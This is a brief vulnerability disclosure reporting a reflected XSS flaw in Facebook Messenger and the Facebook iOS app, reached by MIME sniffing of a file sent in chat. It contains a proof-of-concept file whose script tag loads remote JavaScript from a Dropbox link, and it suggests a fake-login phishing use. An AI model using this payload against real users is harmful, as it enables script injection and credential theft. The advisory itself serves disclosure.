I. VULNERABILITY ------------------------- Reflected XSS Attacks vulnerabilities used MIME Sniffing in Facebook Messenger and Facebook App for iOS. II. BACKGROUND ------------------------- Facebook is a social networks III. DESCRIPTION ------------------------- Has been detected a Reflected XSS vulnerability by MIME Sniffing. The code injection is done through chat use send file. IV. PROOF OF CONCEPT ------------------------- The application does not validate the contente of file send, only valitation of extention. Content of file face.jjjj: <script src="https://www.dropbox.com/s/hp796og5p9va7zt/face.js?dl=1"> </script> Content of file face.js: alert("Alert XSS Chat send File Facebook Messenger"); V. BUSINESS IMPACT ------------------------- An attacker can execute arbitrary HTML or script code in a targeted user's browser, , that allows the execution of arbitrary HTML/script code to be executed in the context of the victim user's browser. An attacker can make fake facebook site requesting the User and password to view the contents of the file, thus having access to data of the victim. VI. SYSTEMS AFFECTED ------------------------- Tested IPAD iOS version 7.1.2, Facebook APP Vesion 14.0, Messenger Facebook Version 10.0. By William Costa william.costa no spam gmail.com